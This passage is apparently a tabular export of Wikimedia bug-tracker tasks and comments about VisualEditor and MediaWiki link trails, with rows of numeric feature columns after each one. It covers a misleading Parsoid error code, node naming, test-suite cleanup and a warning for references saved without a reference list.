**Severity**: normal",Low,25.0,1362783660,1363626420.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-6g7xrokkwj7xvlcpixpd,task_description,resolved,True,c1,1,False,False,True,-17,,0.0,0.0,1.0,0.0,1.0,3.0,1.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,2.0,1.0,10.0,7.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,8.0,3.0,1.0,7.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,9.0,7.0,3.0,0.0,2.0,0.0,9.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,3.813953488372093,0.6744186046511628,"When the Parsoid server is down completely (e.g. because you forgot to start it), the error message VE gives you is ""parsoidserver-http-200"". It's kind of ridiculous that it's presenting an error with 200, but it's also a lie: 200 wasn't the response code we got from Parsoid, we got no response whatsoever.

--------------------------
**Version**: unspecified
**Severity**: normal"
221850,"VisualEditor: When Parsoid is down, error message is parsoidserver-http-200",https://gerrit.wikimedia.org/r/#/c/53165/,,,1363011611,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-6g7xrokkwj7xvlcpixpd,task_subcomment,,True,c1,1,True,,,-16,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
47701,VisualEditor: Add static name property to CE nodes,"DM nodes have a static name property which is used by the nodeRegistry. CE nodes currently have their names written out at least twice. It also creates unnecessary complexity when inheriting CE nodes as the parent constructor cannot be used (as it contains the parent's name hard coded).

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1362405720,1362705677.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-qrmj2zvtj5xzsxn37rp3,task_description,resolved,True,c1,1,True,False,True,-17,,0.0,0.0,0.0,3.0,1.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,8.0,7.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,5.0,3.0,8.0,1.0,0.0,7.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,7.0,4.0,0.0,0.0,0.0,4.0,0.0,3.0,1.0,0.0,1.0,0.0,1.0,0.0,4.273972602739726,0.7123287671232876,"DM nodes have a static name property which is used by the nodeRegistry. CE nodes currently have their names written out at least twice. It also creates unnecessary complexity when inheriting CE nodes as the parent constructor cannot be used (as it contains the parent's name hard coded).

--------------------------
**Version**: unspecified
**Severity**: normal"
209775,VisualEditor: Add static name property to CE nodes,Related URL: https://gerrit.wikimedia.org/r/52545 (Gerrit Patch-Set: Ibf31de16ab28ad58209c1443cd74f93dda278998/7),,,1362697441,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qrmj2zvtj5xzsxn37rp3,task_subcomment,,True,c1,1,False,,,-17,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,58.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,42.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.833333333333333,0.9166666666666666,Related URL: GERRIT_URL (Gerrit Patch-Set: Ibf31de16ab28ad58209c1443cd74f93dda278998/7)
209769,VisualEditor: Add static name property to CE nodes,Fixed with https://gerrit.wikimedia.org/r/#/c/52545/,,,1362610508,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-qrmj2zvtj5xzsxn37rp3,task_subcomment,,True,c1,1,True,,,-17,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Fixed with URL
47291,VisualEditor: Kill global functions in test suites,"Functions like runConverterTests() and what not are often global functions in the test file. These should be un-global-ified somehow.
",Low,25.0,1361566080,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-ynic2zitioz5lqrrxvlq,task_description,open,True,c1,1,False,False,,-19,,0.0,0.0,0.0,0.0,4.0,18.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,7.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,7.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.142857142857143,0.8928571428571429,"Functions like runConverterTests() and what not are often global functions in the test file. These should be un-global-ified somehow.
"
210165,VisualEditor: Kill global functions in test suites,"Found a few:

- ve.dm.ModelRegistry.test
* function checkForPickMe

- ve.dm.Transaction.test
* function runBuilderTests
* function runConstructorTests",,,1369152667,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ynic2zitioz5lqrrxvlq,task_subcomment,,True,c1,1,True,,,-6,,5.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,9.0,0.0,6.363636363636363,0.6363636363636364,"Found a few:

- ve.dm.ModelRegistry.test
* function checkForPickMe

- ve.dm.Transaction.test
* function runBuilderTests
* function runConstructorTests"
210160,VisualEditor: Kill global functions in test suites,I can't find these any more. Resolved?,,,1369145400,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ynic2zitioz5lqrrxvlq,task_subcomment,,True,c1,1,True,,,-6,,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,3.2,1.0,I can't find these any more. Resolved?
47264,VisualEditor: SurfaceFragment methods don't document their chainability properly,"The hallmark of chainability in VE, dm.SurfaceFragment, doesn't actually use @chainable to document the chainability of most of its methods.

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1361494680,1361748260.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-lshlhzbjuwcfnblbdwsc,task_description,resolved,True,c1,1,False,False,True,-19,,0.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,12.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,12.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.511627906976744,0.6744186046511628,"The hallmark of chainability in VE, dm.SurfaceFragment, doesn't actually useSCREEN_NAME to document the chainability of most of its methods.

--------------------------
**Version**: unspecified
**Severity**: normal"
208663,VisualEditor: SurfaceFragment methods don't document their chainability properly,Change-Id: Ib950422ddb78d7b91545399a6053e82ae2dbd932,,,1361614307,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-lshlhzbjuwcfnblbdwsc,task_subcomment,,True,c1,1,True,,,-19,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,60.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.2,1.0,Change-Id: Ib950422ddb78d7b91545399a6053e82ae2dbd932
47183,VisualEditor: newFromWrap() should perform validation,"ve.dm.Transaction.newFromWrap() currently doesn't check that the transaction it generates will be valid. That is, it will ensure that things are unwrapped correctly, but it doesn't check that the result doesn't end up violating parent/child restrictions.

It's not entirely clear to me whether we should try to rectify that or throw an exception, but either of those is better than generating a transaction that, when applied, will make the document nonconformant.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1361325660,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-dxxwsml3j6lvywpngjgf,task_description,open,True,c1,1,False,False,,-19,,0.0,0.0,0.5,0.0,2.0,4.5,2.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,2.0,1.0,5.0,7.5,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,1.5,2.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,6.5,0.0,2.0,0.0,0.0,1.5,3.0,2.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,4.0,2.0,3.5,4.5,2.5,7.0,0.0,0.0,0.0,0.0,6.5,0.0,0.0,0.0,4.0,7.5,0.5,0.0,0.0,0.0,4.0,0.0,1.0,2.0,1.0,1.5,1.0,0.0,0.5,4.419986023759609,0.7477288609364081,"ve.dm.Transaction.newFromWrap() currently doesn't check that the transaction it generates will be valid. That is, it will ensure that things are unwrapped correctly, but it doesn't check that the result doesn't end up violating parent/child restrictions.

It's not entirely clear to me whether we should try to rectify that or throw an exception, but either of those is better than generating a transaction that, when applied, will make the document nonconformant.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
47132,VisualEditor: Warn user when saving page with <ref>s but not <references />,"When a user saves a page, VE should check for references (<ref>s) created without the de-referencing block (<references /> or {{reflist}} or...) and intervene:

* prompt them to fix before saving (out of the notices area?);
* refuse to save before fixed (grey out the save button?); or
* auto-fix for them (insert a ""== References ==\n<references />"" section just above the categories), though this (a) sucks, (b) enforces a particular wiki's style on other wikis in code, and (c) would be difficult to internationalise

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=54906
https://bugzilla.wikimedia.org/show_bug.cgi?id=51260",Low,25.0,1361220060,1508927932.0,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-USER-kve2ug5yc3dp6ighnmqk,False,PHID-TASK-bw6slpyeq2u23y3ltra6,task_description,invalid,True,c1,1,True,False,False,-19,,0.0,0.0,0.0,0.0,0.0,4.0,0.5,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.5,0.0,1.5,0.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.5,0.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.5,0.0,0.5,0.0,0.0,0.0,17.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,0.5,5.0,1.0,2.5,5.0,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,1.0,7.5,2.5,1.0,1.0,0.0,1.0,0.0,0.5,2.0,1.0,0.5,0.0,0.0,3.0,3.2289156626506026,0.6325301204819277,"When a user saves a page, VE should check for references (<ref>s) created without the de-referencing block (<references /> or {{reflist}} or...) and intervene:

* prompt them to fix before saving (out of the notices area?);
* refuse to save before fixed (grey out the save button?); or
* auto-fix for them (insert a ""== References ==\n<references />"" section just above the categories), though this (a) sucks, (b) enforces a particular wiki's style on other wikis in code, and (c) would be difficult to internationalise

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL
URL"
953262,VisualEditor: Warn user when saving page with <ref>s but not <references />,"This probably doesn't really matter any more, since the absence of a references template will simply cause the references to display at the end of the page.",,,1508927932,,PHID-USER-kve2ug5yc3dp6ighnmqk,True,,,PHID-TASK-bw6slpyeq2u23y3ltra6,task_subcomment,,True,c1,3,True,,,225,,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,3.0,3.0,0.0,23.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,4.333333333333333,0.8333333333333334,"This probably doesn't really matter any more, since the absence of a references template will simply cause the references to display at the end of the page."
226494,VisualEditor: Warn user when saving page with <ref>s but not <references />,"The last thing I want us to be doing is adding more error messages. I really think that we can get away with actually fixing the error for people. 

I'd rather see us put it in the wrong place and someone have to fix it than us give the user an error they probably don't know how to fix. 

Can we do a quick audit of major sites and where they put the reference list? I worry we're worrying a bit too much about about negative feedback that might not be as big a deal as we might think.",,,1383182051,,PHID-USER-z3kqk2bjnqneldcznht6,True,,,PHID-TASK-bw6slpyeq2u23y3ltra6,task_subcomment,,True,c1,3,False,,,17,,1.0,0.5,0.0,0.0,2.0,5.0,1.0,0.0,0.0,0.0,2.5,2.5,0.0,0.0,0.0,7.0,0.0,9.0,8.5,0.5,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,3.5,0.5,0.0,5.0,3.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,11.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.5,2.5,0.0,0.5,0.0,1.0,1.0,6.0,2.0,4.0,2.5,1.5,6.0,0.0,0.0,0.0,0.0,7.5,0.0,0.0,0.0,10.0,8.5,0.0,1.0,0.0,0.0,10.0,0.0,3.0,3.5,1.5,2.5,0.5,0.0,0.0,3.55993265993266,0.8164983164983165,"The last thing I want us to be doing is adding more error messages. I really think that we can get away with actually fixing the error for people. 

I'd rather see us put it in the wrong place and someone have to fix it than us give the user an error they probably don't know how to fix. 

Can we do a quick audit of major sites and where they put the reference list? I worry we're worrying a bit too much about about negative feedback that might not be as big a deal as we might think."
226490,VisualEditor: Warn user when saving page with <ref>s but not <references />,"(In reply to comment #4)
> The auto-fix option in comment 0 has been requested today by en.wp user
> Mahitgar. If the issues noted can be overcome, then it would be the most
> user-friendly way forward.
> 
> Regarding those issues, it is not obvious why this ""sucks"" - please could you
> elucidate?
> 
> Internationalisation of the section title could (I guess easily) be achieved
> by
> inserting the contents of a MediaWiki page instead of something defined in
> code. e.g. the equivalent of
> 
> ==={{subst:MediaWiki:Refsection title}}===
> <{{subst:MediaWiki:Reflist function name}} />
> 
> 
> This doesn't solve the option of imposing en.wp style on other wikis though.

Blindly putting the references section at the end of the article seems to not be great (it'd be after the ""external links"" and ""see also"" sections, and after any stub or thematic templates).",,,1376520004,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-bw6slpyeq2u23y3ltra6,task_subcomment,,True,c1,3,True,,,6,,1.0,0.0,0.0,0.0,1.0,4.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,5.0,2.0,22.0,0.0,4.0,6.0,0.0,0.0,0.0,1.0,5.0,0.0,1.0,0.0,1.0,8.0,18.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.3176470588235296,0.4823529411764706,"(In reply to comment #4)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Blindly putting the references section at the end of the article seems to not be great (it'd be after the ""external links"" and ""see also"" sections, and after any stub or thematic templates)."
226484,VisualEditor: Warn user when saving page with <ref>s but not <references />,"The auto-fix option in comment 0 has been requested today by en.wp user Mahitgar. If the issues noted can be overcome, then it would be the most user-friendly way forward.

Regarding those issues, it is not obvious why this ""sucks"" - please could you elucidate?

Internationalisation of the section title could (I guess easily) be achieved by inserting the contents of a MediaWiki page instead of something defined in code. e.g. the equivalent of

==={{subst:MediaWiki:Refsection title}}===
<{{subst:MediaWiki:Reflist function name}} />


This doesn't solve the option of imposing en.wp style on other wikis though.",,,1376323198,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-bw6slpyeq2u23y3ltra6,task_subcomment,,True,c1,3,False,,,6,,0.0,1.0,0.0,2.0,1.5,3.5,1.0,0.0,1.0,0.5,3.0,1.0,0.0,0.0,0.0,0.5,0.0,6.0,7.5,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.5,0.0,2.5,1.0,1.0,0.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,4.0,1.5,0.0,0.0,0.0,0.0,15.0,1.5,0.5,0.0,0.5,0.0,1.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,7.5,1.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.5,0.5,0.0,2.0,7.5,4.0,0.5,1.0,0.0,2.0,0.0,0.5,1.0,0.0,2.0,0.0,0.5,1.0,3.9695838986883762,0.7666214382632293,"The auto-fix option in comment 0 has been requested today by en.wp user Mahitgar. If the issues noted can be overcome, then it would be the most user-friendly way forward.

Regarding those issues, it is not obvious why this ""sucks"" - please could you elucidate?

Internationalisation of the section title could (I guess easily) be achieved by inserting the contents of a MediaWiki page instead of something defined in code. e.g. the equivalent of

==={{subst:MediaWiki:Refsection title}}===
<{{subst:MediaWiki:Reflist function name}} />


This doesn't solve the option of imposing en.wp style on other wikis though."
226478,VisualEditor: Warn user when saving page with <ref>s but not <references />,*** Bug 51910 has been marked as a duplicate of this bug. ***,,,1375192364,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-bw6slpyeq2u23y3ltra6,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51910 has been marked as a duplicate of this bug. ***
226471,VisualEditor: Warn user when saving page with <ref>s but not <references />,"Bug 50779 makes it easy to accidentally delete the references list, so this should check for its presence every save not just when references have been added.",,,1375180866,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-bw6slpyeq2u23y3ltra6,task_subcomment,,True,c1,3,False,,,4,,3.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,3.0,3.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.551724137931035,0.9655172413793104,"Bug 50779 makes it easy to accidentally delete the references list, so this should check for its presence every save not just when references have been added."
226462,VisualEditor: Warn user when saving page with <ref>s but not <references />,"Currently this would require scanning for the exact html it outputs as the <span style=""color:red;"">...</a> tag. Which can be tricky to do reliably.

Though the Cite extension could perhaps be the first to give their elements some kind of standard attribute for parse errors, it should probably do more like the TemplateData extension: Refuse to save without it and show a warning there instead. Then the API will return to VE with a nice { error: .. } block containing a error code which we can use to fetch a localised message.",,,1371776892,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-bw6slpyeq2u23y3ltra6,task_subcomment,,True,c1,2,True,,,-2,,0.5,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.5,0.0,1.5,0.0,0.0,0.0,0.0,1.0,1.0,5.5,9.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.5,0.0,0.5,1.0,2.5,1.0,0.0,0.0,0.5,0.0,0.5,0.0,0.5,0.0,2.0,0.0,0.5,0.0,0.0,0.0,9.0,0.5,0.0,0.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,1.5,1.5,0.0,0.0,1.0,0.0,0.0,7.5,1.0,6.5,0.5,1.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,4.0,9.0,4.0,0.0,0.0,0.0,4.0,0.0,1.5,4.0,0.0,1.0,1.0,0.0,1.5,4.1415094339622645,0.839622641509434,"Currently this would require scanning for the exact html it outputs as the <span style=""color:red;"">...</a> tag. Which can be tricky to do reliably.

Though the Cite extension could perhaps be the first to give their elements some kind of standard attribute for parse errors, it should probably do more like the TemplateData extension: Refuse to save without it and show a warning there instead. Then the API will return to VE with a nice { error: .. } block containing a error code which we can use to fetch a localised message."
47126,The default (English) link trail ($linkTrail) only matches [a-z],"Using a more extensive default $linkTrail regex was tried in 416c84480 (although I don't know why it used `\p{L&}` rather than `[[:alpha:]]` or `\p{L}`), but this was reverted in 5b97a5bb due to {T17035}. We could probably try that again (without the apostrophe, see T16655) now that we require a more modern version of PHP with a more modern version of PCRE. It may not work correctly for alphabets other than Latin.

----

Please have a look at 
https://www.wikidata.org/wiki/MediaWiki:Gadget-rightsfilter/hu
where the link has the form [[:hu:Reguláris kifejezés|regex]]alapú
and ""ú"" is not linked.
This is a multilingual project, so all letters should be included into links, or at least all Hungarian letters. :-)",Low,25.0,1361209560,,PHID-USER-4c6srusxkc3xljf73qq6,False,,False,PHID-TASK-n4lw5kls7dkiwbydrbtn,task_description,open,True,c1,1,False,False,,-19,,1.5,0.0,0.0,2.5,2.0,4.5,0.5,0.0,0.5,0.0,1.0,0.5,0.5,0.0,0.0,1.5,0.0,8.5,9.5,0.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,3.0,1.0,1.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,7.5,1.0,1.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.5,5.0,3.0,10.0,2.0,2.5,8.0,0.0,0.5,0.0,0.0,3.5,0.5,1.0,0.0,2.5,9.5,7.0,0.0,1.5,0.0,2.5,0.0,1.0,3.0,0.0,0.5,1.5,0.5,2.0,3.835714285714286,0.7857142857142858,"Using a more extensive default $linkTrail regex was tried in 416c84480 (although I don't know why it used CODE rather than CODE or CODE), but this was reverted in 5b97a5bb due to {T17035}. We could probably try that again (without the apostrophe, see T16655) now that we require a more modern version of PHP with a more modern version of PCRE. It may not work correctly for alphabets other than Latin.

----

Please have a look at 
URL
where the link has the form [[:hu:Reguláris kifejezés|regex]]alapú
and ""ú"" is not linked.
This is a multilingual project, so all letters should be included into links, or at least all Hungarian letters. :-)"
715240,The default (English) link trail ($linkTrail) only matches [a-z],">>! In T47126#2509560, @Verdy_p wrote:
> link trails are just a minor facility for **lazy** English contributors using the Wiki code editor.

Those links can be used in many languages. In German Wikipedia they are used exceedingly!
